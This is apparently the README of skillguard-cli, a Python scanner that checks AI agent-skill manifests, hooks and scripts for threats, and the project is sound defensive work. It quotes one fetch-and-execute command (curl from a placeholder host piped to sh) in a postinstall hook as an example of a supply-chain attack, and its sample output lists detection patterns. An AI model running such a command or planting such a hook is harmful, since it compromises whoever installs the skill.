skillguard-cli (Python)

Security scanner for third-party AI agent-skill files -- SKILL.md manifests, hooks, and bundled scripts -- before they run with real tool, file, and network permissions.

Why this exists

36% of published agent skills have exploitable flaws per Snyk. Most marketplaces and frameworks have no scan step between "someone published a skill" and "a user's agent runs it." Concretely: a SKILL.md that declares network: false in its frontmatter can still ship a hooks/postinstall.js that runs curl https://get.example.invalid/setup.sh | sh the moment the skill is installed -- nothing in most agent frameworks checks that the declared scope matches what the hooks actually do. SkillGuard is that check: a CLI, a library, and (for the npm distribution) a GitHub Action, all reading the same bundled rule packs. This package is the Python distribution -- a genuine, independent port, not a wrapper around the Node binary.

Install

pip install skillguard-cli

or with uv:

uv add skillguard-cli

No separate install step, no external binary to fetch: all bundled rule packs and the pattern-matching engine ship inside the wheel. The complementary JS/TS distribution installs the same way on the npm side: npm install --save-dev skillguard-cli (or npx skillguard-cli scan to run it once without installing) -- see the project README for that package. Both are first-class, maintained together; neither is deprecated in favor of the other.

Quickstart

Clone the repo to get the bundled fixture skills (not part of the published wheel -- they're demo/test content):

git clone https://github.com/RudrenduPaul/skillguard.git
cd skillguard
skillguard scan ./examples/known-bad-skill

Real output:

Loading SkillGuard rule packs...
SkillGuard scan: /path/to/skillguard/examples/known-bad-skill
Files scanned: 5

Findings: 11 (HIGH: 5, MEDIUM: 5, LOW: 1)

[MEDIUM] SG01 hooks/backdoor.py:7
  sg01-raw-socket-python — Raw socket creation (Python "socket" module) bypasses typical HTTP-only network scope and is a common building block for a covert command-and-control channel.
  > socket.socket(

[HIGH] SG04 hooks/postinstall.js:5
  sg04-postinstall-remote-fetch — A postinstall/preinstall hook downloads and executes a remote script. Install-time hooks run automatically and silently for every consumer of this skill, making this a supply-chain compromise vector.

... (8 more findings, spanning all 7 rule categories) ...

Result: FAIL (exit code 1, severity threshold HIGH)

Or call the library directly (the agent-native path):

from skillguard import scan_skill, ScanOptions

result = scan_skill("./my-skill", ScanOptions(severity_threshold="HIGH"))
if result.exit_code == 1:
    print(f"{len(result.findings)} finding(s) at or above HIGH")
    for finding in result.findings:
        print(f"[{finding.severity}] {finding.category} {finding.file}:{finding.line} — {finding.message}")

CLI reference

Verified against this package's own argument parser (skillguard/cli.py) -- every flag below exists in the Python distribution exactly as it does in the npm one; nothing here is copy-pasted from the TypeScript README without checking against the real Python source.

skillguard <command> [options]

Flags shared by scan and scan-set:

Exit codes: 0 clean scan. 1 a finding at or above the severity threshold. 2 the target path doesn't exist, no skill files were found, or the CLI was given an invalid flag value (the Python CLI's argparse-based parser calls sys.exit(2) directly for a bad --format, --severity-threshold, or --timeout value). This matches the npm CLI's exit-code contract.

The Python CLI additionally accepts short flags (-f, -s, -t) alongside the long ones shown above -- a Python-argparse convention this port adds on top of the shared flag surface, not a behavior difference in what each flag does.

MCP server (agent-native, tool-call)

pip install "skillguard-cli[mcp]"   # optional extra, requires Python >=3.10
skillguard mcp

Starts SkillGuard as a stdio MCP server exposing one tool, scan_skill ({ path, severity_threshold?, timeout_ms? }), so another agent -- Claude Code, Cursor, an orchestrator -- can scan a third-party skill directly as a tool call before installing or running it, instead of shelling out to the CLI and parsing stdout. The mcp extra is optional and not required for the base pip install skillguard-cli install (the official mcp SDK needs Python >=3.10; the base package still supports >=3.9). Client config example:

{ "mcpServers": { "skillguard": { "command": "skillguard", "args": ["mcp"] } } }

Full setup and the security guarantees this path preserves (same .skillguardignore/inline-suppression defaults as the CLI) are in docs/integrations/mcp.md. The npm package ships the same capability (npx skillguard-cli mcp, tool input { path, severityThreshold?, timeoutMs? } -- camelCase to match that package's own option naming); both distributions expose the identical scan_skill tool, reusing the same scan_skill()/scanSkill() pipeline their own CLIs use.

How it works

target path -> .skillguardignore (opt-in only) -> file walker
   -> rule-pack loader (SG01-SG08, SG10 -- SG09 not yet ported)
   -> pattern engine (SG01-06, partial SG05)
      + structural checks (SG07, SG08, SG10)
   -> inline suppression filter (opt-in only)
   -> severity threshold -> exit code (0 clean / 1 fail / 2 error)

Findings, warnings, and the exit-code contract are described in full in docs/concepts.md. Nine of the ten rule packs (SG01 network mismatch, SG02 remote code execution, SG03 file-scope escalation, SG04 hook supply-chain, SG05 obfuscated payloads, SG06 credential harvesting, SG07 frontmatter spoofing, SG08 prompt injection via skill content, SG10 marketplace typosquatting) are reimplemented as genuine Python logic against the same rule-pack contract the npm package uses -- see that same doc for what each one actually catches. SG09 (cross-skill privilege chaining) doesn't yet have a Python port of its own detection logic, though scan_skill_set() is available in this package.

How SkillGuard compares

SkillGuard is purpose-built for the agent-skill threat model, not a general-purpose scanner. This table is carried over verbatim from the npm package's README (same facts, same sources), since it applies equally to both distributions -- the comparison is about what SkillGuard scans, not which language it's written in.

Full sourcing and the fuller comparison (including Snyk Open Source/Code) is in the npm package's README. Honest note: no dedicated Python-ecosystem competitor was found doing agent-skill-specific scanning -- the comparison set above is the same one used for the npm package, since the threat model (not the implementation language) is what differentiates SkillGuard.

Benchmarks

Every number below is something we actually ran locally against this package (built wheel, installed into a fresh venv, run against the repo's bundled fixtures) -- no extrapolation.

• examples/known-bad-skill: 11 findings (5 HIGH, 5 MEDIUM, 1 LOW) spanning all 7 rule categories, across 5 hook/script files, exit code 1. Identical finding count, severity split, and category coverage to the npm package's own documented benchmark for the same fixture.
• examples/clean-skill and examples/clean-skill-python: 0 findings, exit code 0, on both.
• examples/typosquat-skill (SG10): 1 finding, exit code 1 -- a declared name one edit-distance away from a well-known package name.
• skillguard scan-set examples/skill-set-cross-privilege (SG09): 3 findings, exit code 1 -- two skills that individually pass clean but, scanned together, trip a cross-skill privilege-chaining finding. skillguard scan-set examples/skill-set-clean on an unrelated pair of skills: 0 findings, exit code 0.
• Test suite: 110/110 pytest tests passing, ported from the TypeScript vitest suite (one test module per source module, plus an end-to-end pass against the shared fixtures).

This is a 3-fixture check, not a large-corpus false-positive/false-negative study -- same caveat the npm README states for its own numbers.

CI integration

- uses: actions/checkout@v4
- uses: actions/setup-python@v5
  with:
    python-version: '3.12'
- run: pip install skillguard-cli
- run: skillguard scan ./my-skill --format sarif --severity-threshold HIGH > results.sarif
- uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: results.sarif

Full walkthrough (including exit-code gating and a pre-commit hook example) in docs/integrations/ci.md. The npm package additionally ships a ready-made composite GitHub Action (uses: RudrenduPaul/skillguard@main) that wraps the same pipeline.

Security

SkillGuard's whole job is running against untrusted, potentially malicious scan targets -- neither this package nor the npm package ever eval()s, exec()s, or dynamically imports anything read from a scan target; content is only ever read and pattern-matched. Both suppression mechanisms (.skillguardignore, inline # skillguard-ignore: comments) are off by default and require an explicit opt-in, closing a real trust-boundary bug fixed early in development (see CHANGELOG.md). To report a vulnerability, see SECURITY.md for the private disclosure process. Honest note: this project does not currently publish SLSA provenance, Sigstore signatures, or an SBOM, and has no OpenSSF Scorecard badge set up -- none of that infrastructure exists yet for either distribution, so it isn't claimed here.

Contributing

See CONTRIBUTING.md for the full guide, covering both the TypeScript and Python codebases (they must stay in behavioral parity -- a rule-pack change needs to land in both). There is no enforced minimum coverage threshold today; the bar is that the full pytest suite (pytest from python/) passes and new behavior ships with tests.

cd python
python3 -m venv .venv && source .venv/bin/activate
pip install -e ".[dev]"
pytest

FAQ

What is skillguard-cli, and what makes it different from a general-purpose security scanner? It's a static-analysis scanner purpose-built for one threat model: third-party AI agent-skill files, SKILL.md manifests plus the hooks and scripts they bundle. It ships ten rule categories (SG01-SG10) targeting things generic scanners don't check for by default -- frontmatter-declared scope versus actual behavior, install-time hook supply-chain risk, prompt injection embedded in a skill's own instructional text, and combined risk across multiple skills in the same directory. A general SAST tool like Semgrep can find some of the same code-level patterns, but it has no notion of a SKILL.md manifest or a cross-skill privilege relationship.

Does skillguard-cli require an account or API token to run a scan? No. pip install skillguard-cli && skillguard scan <path> works with zero signup, zero token, and no network call at scan time -- every rule pack ships inside the wheel itself.

What Python versions does skillguard-cli support? Python >=3.9 for the base install (per pyproject.toml's requires-python), or >=3.10 if you install the optional mcp extra for MCP server mode (the official mcp SDK itself requires Python >=3.10). It's a pure-Python package with no native/compiled dependencies, and its PyPI classifiers declare Operating System :: OS Independent.

What's the difference between this package and the npm package? Both are independent, equally maintained ports reading the same rule-pack contract and producing matching findings against the same target -- this Python distribution is a genuine implementation, not a wrapper around the Node binary. One current, honestly-disclosed gap: nine of the ten rule packs (SG01-SG08, SG10) are fully reimplemented as Python logic; SG09 (cross-skill privilege chaining) has no dedicated Python detection logic of its own yet, though scan_skill_set() still runs the cross-skill orchestration via scan-set. TypeScript's plain scan command also runs an extra sibling-path cross-skill heuristic Python doesn't have -- run scan-set on the Python side for equivalent cross-skill coverage. See How it works above.

Can an AI agent call skillguard-cli directly, instead of shelling out to a CLI and parsing output? Yes, two ways: skillguard mcp (requires the mcp extra) starts a stdio MCP server exposing a scan_skill tool any orchestrating agent can call as a normal tool call; or import scan_skill()/scan_skill_set() from the skillguard package directly in Python code and get a structured ScanResult back instead of parsing CLI stdout.

What do SG08, SG09, and SG10 check, and do they run through the MCP server too? SG08 (HIGH) looks for prompt injection inside a skill's own instructional text, an attempt to override the host agent's system prompt or hijack its tool routing. SG09 (HIGH) is cross-skill privilege chaining -- in this package it's detected via scan_skill_set()/scan-set (not yet as a single-skill sibling-path check the way TypeScript's plain scan does). SG10 (HIGH) is marketplace typosquatting: a skill's declared name sitting Levenshtein edit-distance 1-2 from a bundled list of 51 popular npm/PyPI package names. All three run through skillguard mcp's scan_skill tool exactly as they do through the CLI, since the MCP server calls the same underlying scan logic.

Is it safe to run skillguard-cli against an untrusted skill? Yes -- that's the point of the design. Neither this package nor the npm package ever eval()s, exec()s, or dynamically imports anything read from a scan target; content is only ever read and pattern-matched. Both suppression mechanisms (.skillguardignore, inline # skillguard-ignore: comments) are off by default and require an explicit opt-in, so a malicious skill submission can't silence findings about itself. See Security above.

Does skillguard-cli replace Semgrep or Snyk? No. Semgrep is a mature, general-purpose static-analysis engine across 30+ languages; Snyk Agent Scan covers a wider set of agent-skill and MCP-config threats than SkillGuard does today. skillguard-cli's job is narrower: the specific SKILL.md/hooks/frontmatter threat model, with zero auth and a cross-skill check (scan-set) neither of those tools currently ships. See How SkillGuard compares above.

Is skillguard-cli production-ready? It's early: pre-1.0, launched 2026-07-11. The Python test suite (110/110 pytest tests, ported from the TypeScript vitest suite) passes on a clean install, but it hasn't been run against a large real-world corpus yet -- treat its false-positive/false-negative rate as unproven at scale rather than settled.

Can I use skillguard-cli commercially, and does the license cost anything? Yes, and no. It's Apache License 2.0 (see LICENSE), which permits commercial use, modification, and redistribution, including inside proprietary software, at no cost, provided you keep the copyright and license notice.

License

Apache 2.0, see LICENSE.